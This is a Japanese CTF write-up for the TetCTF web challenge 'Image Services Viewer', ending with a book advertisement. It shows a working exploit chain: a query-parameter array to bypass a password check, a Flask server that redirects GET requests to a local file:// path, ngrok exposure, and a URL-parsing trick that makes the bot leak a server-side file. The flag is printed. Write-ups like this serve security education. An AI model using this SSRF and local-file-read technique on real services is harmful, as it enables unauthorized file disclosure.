Image Services Viewer

775

Chall name:

  • Image Services Viewer

Category:

  • Web

Author:

  • tuo4n8

Description:

  • Do you know secret which on my server!!!!

  • Server: http://139.162.15.7:2023

Material:

  • Binary
  • Note: The binary provided for Image Services Viewer and Admin Lairay Old School challenges are the same.
const isAdmin = (req, res, next) => {
    try {
        if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {
            return res.send("You don't have permission")
        }
        next();
    } catch (error) {
        return res.status(500).send("Oops, something went wrong.");
    }
}
isAdminのpasswordチェックを通すために、passwordは配列で渡す。
POST http://139.162.15.7:2023/api/getImage?password[]=Th!sIsS3xreT0 HTTP/1.1
bot.pyでは、file://が使えるようになっている。LocalFileAdapter は、ローカルマシンに保存されたファイルにアクセスして操作することができるファイルアダプターです。
if __name__ == '__main__':
    try:
        if (len(sys.argv) < 2):
            exit()
        url = sys.argv[1]
        headers = {'user-agent': 'PythonBot/0.0.1'}
        request = requests.session()
        request.mount('file://', LocalFileAdapter())

        # check extentsion
        white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
        vaild_extension = url.endswith(white_list_ext)

        if (vaild_extension):
            # check content-type
            res = request.head(url, headers=headers, timeout=3)
            if ('image' in res.headers.get("Content-type")
                    or 'image' in res.headers.get("content-type")
                    or 'image' in res.headers.get("Content-Type")):
                r = request.get(url, headers=headers, timeout=3)
                print(base64.b64encode(r.content))
pythonでローカルにWebサーバを立てる。メソッドがHEADの時はContent-type:image/pngを返す、GETの時はそれに加えてLocationヘッダを返して、ローカルのflagファイルにリダイレクトさせるレスポンスを返す。
from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/<wildcard>/')
def index(wildcard):
    status = 200
    response = make_response()
    response.headers['content-type'] = 'image/png'
    if request.method=='GET':
        status = 302
        response.headers['Location'] = 'file:///usr/src/app/fl4gg_tetCTF'
    return response, status

if __name__ == '__main__':
    app.debug = True
    app.run(host='127.0.0.1', port=8000)
次に、ローカルに立てたhttpサーバをngrokを使ってインターネットに公開する。
FiddlerでPOSTデータを次のようにする。
url=https://<<ngrok my server>>\@i.ibb.co/?a.png
次のレスポンスが返ってくる。
{"status":true,"data":"VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==\n"}
base64でデコードしてフラグは、
TetCTF{p@rs3_Ur1_s0_m4gIIccccc-W1th_n0deLib+p4ith0n}
Node.jsフレームワーク超入門
掌田津耶乃
秀和システム
2022-05-28